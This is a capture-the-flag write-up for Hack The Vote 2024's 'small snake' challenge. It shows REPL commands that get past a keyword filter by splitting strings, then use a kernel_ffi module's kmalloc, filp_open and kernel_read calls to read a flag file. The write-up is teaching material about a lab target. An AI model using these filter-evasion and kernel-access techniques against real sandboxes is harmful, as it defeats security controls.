Hack The Vote 2024: small snake
The flag is in /flag
Author: wait_what
We are given nc small-snake.chal.hackthe.vote 1337
to connect to a Python REPL. Upon connection, we are greeted with:
[advanced console]
add_fake_votes(state, candidate, N) ; it's really this simple
create_distraction(magnitude) ; just in case
destroy_all_records() ; ...
None of these functions seem to do anything when called, so let’s just move on… our goal is clearly to open and read /flag
.
Let’s try just that:
> open("/flag")
[ERROR] illegal word: open
Ah, of course it wouldn’t be that easy. We get our first clue here: illegal word implies they’re doing string filtering. Let’s see if we have eval
:
> eval("1")
1
So getting access to open
should be easy, then, just split it up a bit, right?
> eval("op"+"en")
<function>
> eval("op"+"en")("/flag")
>
Huh, no output? That’s weird. Let’s look at the builtins for good measure.
> builtins
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'builtins' isn't defined
> import builtins
[ERROR] illegal word: import
Ugh.
> eval("__imp"+"ort__")("builtins")
[ERROR] illegal word: __
Ugh.
> U = lambda s: "_"+"_"+s+"_"+"_"
> Import = eval(U("imp"+"ort"))
> Import("builtins")
<module 'builtins'>
> builtins = Import("builtins")
> help(builtins)
[ERROR] illegal word: help
> Help = eval("he"+"lp")
> Help(builtins)
object <module 'builtins'> is of type module
__name__ -- builtins
__build_class__ -- <function>
__import__ -- <function>
__repl_print__ -- <function>
bool -- <class 'bool'>
bytes -- <class 'bytes'>
bytearray -- <class 'bytearray'>
dict -- <class 'dict'>
enumerate -- <class 'enumerate'>
filter -- <class 'filter'>
frozenset -- <class 'frozenset'>
int -- <class 'int'>
list -- <class 'list'>
map -- <class 'map'>
memoryview -- <class 'memoryview'>
object -- <class 'object'>
property -- <class 'property'>
range -- <class 'range'>
reversed -- <class 'reversed'>
set -- <class 'set'>
slice -- <class 'slice'>
str -- <class 'str'>
super -- <class 'super'>
tuple -- <class 'tuple'>
type -- <class 'type'>
zip -- <class 'zip'>
classmethod -- <class 'classmethod'>
staticmethod -- <class 'staticmethod'>
Ellipsis -- Ellipsis
NotImplemented -- NotImplemented
abs -- <function>
all -- <function>
any -- <function>
bin -- <function>
callable -- <function>
chr -- <function>
delattr -- <function>
dir -- <function>
divmod -- <function>
eval -- <function>
exec -- <function>
getattr -- <function>
setattr -- <function>
globals -- <function>
hasattr -- <function>
hash -- <function>
help -- <function>
hex -- <function>
id -- <function>
isinstance -- <function>
issubclass -- <function>
iter -- <function>
len -- <function>
locals -- <function>
max -- <function>
min -- <function>
next -- <function>
oct -- <function>
ord -- <function>
pow -- <function>
print -- <function>
repr -- <function>
round -- <function>
sorted -- <function>
sum -- <function>
BaseException -- <class 'BaseException'>
ArithmeticError -- <class 'ArithmeticError'>
AssertionError -- <class 'AssertionError'>
AttributeError -- <class 'AttributeError'>
EOFError -- <class 'EOFError'>
Exception -- <class 'Exception'>
GeneratorExit -- <class 'GeneratorExit'>
ImportError -- <class 'ImportError'>
IndentationError -- <class 'IndentationError'>
IndexError -- <class 'IndexError'>
KeyboardInterrupt -- <class 'KeyboardInterrupt'>
KeyError -- <class 'KeyError'>
LookupError -- <class 'LookupError'>
MemoryError -- <class 'MemoryError'>
NameError -- <class 'NameError'>
NotImplementedError -- <class 'NotImplementedError'>
OSError -- <class 'OSError'>
OverflowError -- <class 'OverflowError'>
RuntimeError -- <class 'RuntimeError'>
StopAsyncIteration -- <class 'StopAsyncIteration'>
StopIteration -- <class 'StopIteration'>
SyntaxError -- <class 'SyntaxError'>
SystemExit -- <class 'SystemExit'>
TypeError -- <class 'TypeError'>
ValueError -- <class 'ValueError'>
ZeroDivisionError -- <class 'ZeroDivisionError'>
open -- <function>
Yeah, open’s at the end (and, remember, python iterates dict
s in insertion order), so we can assume it’s been modified. After a bit more fucking around, I figure out how to get the list of all modules:
> Help("modules")
__main__ kernel_ffi uctypes ustruct
_thread micropython uerrno usys
builtins uarray uio utime
gc ucollections umachine
Plus any modules on the filesystem
Ah, it’s micropython. That’s why my previous attempts to import things like dis
all failed (and why the challenge is called small snake).
My first instinct was to import and use uio
to open the file, but that also ended up being a dead end – exhibiting the same behaviour at the builtins’ open.
There’s something else weird here, though: kernel_ffi
. That doesn’t seem to be part of the micropython docs. What’s up with that?
Let’s search GitHub for uses of kernel_ffi
in Python… And the only results are some sample code for a fork of micropython.
So. Python in the Linux kernel? Sure, why not. Well, let’s not waste any time:
> Help(Import("kernel_ffi"))
object <module 'kernel_ffi'> is of type module
__name__ -- kernel_ffi
auto_globals -- <function>
symbol -- <function>
Symbol -- <class 'Symbol'>
str -- <function>
bytes -- <function>
p8 -- <function>
p16 -- <function>
p32 -- <function>
p64 -- <function>
kmalloc -- <function>
current -- <function>
kprobe -- <function>
KP_ARGS_MODIFY -- 0
KP_ARGS_WATCH -- 1
KP_REGS_MODIFY -- 2
KP_REGS_WATCH -- 3
callback -- <function>
Obviously, kmalloc
allocates memory, but looking at the code, we can see p8
-p64
are arbitrary read-write, str
makes a python string from arbitrary memory, and symbol
allows us to call any function in the kernel.
From this point, it becomes obvious what to do: do whatever the kernel can do to read a file. After a bit of googling, it seems the answer to that is struct file *filp_open(const char *filename, int flags, umode_t mode)
and ssize_t kernel_read(struct file *file, void *buf, size_t count, loff_t *pos)
.
So let’s do that: allocate a buffer to write into and our pos
(which we initialize to 0) for good measure since it’s asking us for a pointer. Open /flag
, read into the buffer, read the buffer as a python string…
> ffi = Import("kernel_ffi")
> buf = ffi.kmalloc(1024)
> off = ffi.kmalloc(8)
> ffi.p64(off, 0)
> f = ffi.symbol("filp_ope"+"n")("/flag",0,420)
> ffi.symbol("kernel_re"+"ad")(f, buf, 1024, off)
45
> ffi.str(buf)
'flag{its_like_rust_in_the_kernel_but_better}\n'
… And that’s our flag!
Home About Contact